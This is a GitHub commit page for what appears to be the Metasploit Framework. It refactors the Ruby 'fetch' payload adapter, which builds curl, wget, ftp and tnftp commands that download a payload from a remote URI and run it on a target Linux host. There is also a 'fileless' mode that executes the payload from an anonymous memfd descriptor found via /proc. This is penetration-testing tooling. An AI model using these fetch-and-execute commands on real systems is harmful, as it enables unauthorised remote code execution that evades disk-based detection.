Skip to content

Commit

Permalink
More elegant way of generating fileless payload, code refactor based …
Browse files Browse the repository at this point in the history
…on comments
  • Loading branch information
msutovsky-r7 committed Feb 6, 2025
1 parent 50c95af commit 6d07354
Show file tree
Hide file tree
Showing 2 changed files with 35 additions and 28 deletions.
47 changes: 26 additions & 21 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
Expand Up @@ -243,13 +243,13 @@ def _generate_fileless(get_file_cmd)
# if found one, try to download payload into the anonymous file
# and execute it
cmd << '; then while read f'
cmd << '; do if [[ $(ls -al $f | grep -o memfd | wc -l) == 1 ]]'
cmd << '; do if [[ $(ls -al $f | grep -o memfd) ]]'
cmd << "; then #{get_file_cmd}"
cmd << '; $f'
cmd << '; FOUND=1'
cmd << '; break'
cmd << '; fi'
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)'
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
cmd << '; fi'
cmd << '; done'

Expand All @@ -259,36 +259,36 @@ def _generate_fileless(get_file_cmd)
def _generate_curl_command
case fetch_protocol
when 'HTTP'
fetch_command = "curl http://#{download_uri} -so"
fetch_command = "curl -so #{_remote_destination} http://#{download_uri}"
when 'HTTPS'
fetch_command = "curl https://#{download_uri} -sko"
fetch_command = "curl -sko #{_remote_destination} https://#{download_uri}"
when 'TFTP'
fetch_command = "curl tftp://#{download_uri} -so"
fetch_command = "curl -so #{_remote_destination} tftp://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
return _generate_fileless(fetch_command)
else
return fetch_command + " #{_remote_destination}#{_execute_add}"
return fetch_command + " #{_execute_add}"
end
end

def _generate_ftp_command
case fetch_protocol
when 'FTP'
fetch_command = "ftp ftp://#{download_uri} -Vo"
fetch_command = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}"
when 'HTTP'
fetch_command = "ftp http://#{download_uri} -Vo"
fetch_command = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}"
when 'HTTPS'
fetch_command = "ftp https://#{download_uri} -Vo"
fetch_command = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
return _generate_fileless(fetch_command)
else
return fetch_command + " #{_remote_destination_nix}#{_execute_nix}"
return fetch_command + "#{_execute_nix}"
end
end

Expand All @@ -315,34 +315,35 @@ def _generate_tftp_command
def _generate_tnftp_command
case fetch_protocol
when 'FTP'
fetch_command = "tnftp ftp://#{download_uri} -Vo"
fetch_command = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}"
when 'HTTP'
fetch_command = "tnftp http://#{download_uri} -Vo"
fetch_command = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}"
when 'HTTPS'
fetch_command = "tnftp https://#{download_uri} -Vo"
fetch_command = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
return _generate_fileless(fetch_command)
else
return fetch_command + " #{_remote_destination_nix}#{_execute_nix}"
return fetch_command + "#{_execute_nix}"
end
end

def _generate_wget_command
case fetch_protocol
when 'HTTPS'
fetch_command = "wget --no-check-certificate https://#{download_uri} -qO"
fetch_command = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
when 'HTTP'
fetch_command = "wget http://#{download_uri} -qO"
fetch_command = "wget -qO #{_remote_destination} http://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end

if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
return _generate_fileless(fetch_command)
else
return fetch_command + " #{_remote_destination}#{_execute_add}"
return fetch_command + "#{_execute_add}"
end
end

Expand All @@ -355,6 +356,10 @@ def _remote_destination
def _remote_destination_nix
return @remote_destination_nix unless @remote_destination_nix.nil?

if datastore['FETCH_FILELESS']
@remote_destination_nix = '$f'
return @remote_destination_nix
end
writable_dir = datastore['FETCH_WRITABLE_DIR']
writable_dir = '.' if writable_dir.blank?
writable_dir += '/' unless writable_dir[-1] == '/'
Expand Down
16 changes: 9 additions & 7 deletions lib/msf/core/payload/adapter/fetch/linux_options.rb
Original file line number Diff line number Diff line change
@@ -1,15 +1,17 @@
module Msf::Payload::Adapter::Fetch::LinuxOptions

def initialize(info = {})
super(update_info(info,
'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' }
))
super(
update_info(
info,
'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' }
)
)
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }]),
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
],
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto re payload; cannot contain spaces', './'], regex: /^\S*$/)
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false'])
]
)
end
end

0 comments on commit 6d07354

Please sign in to comment.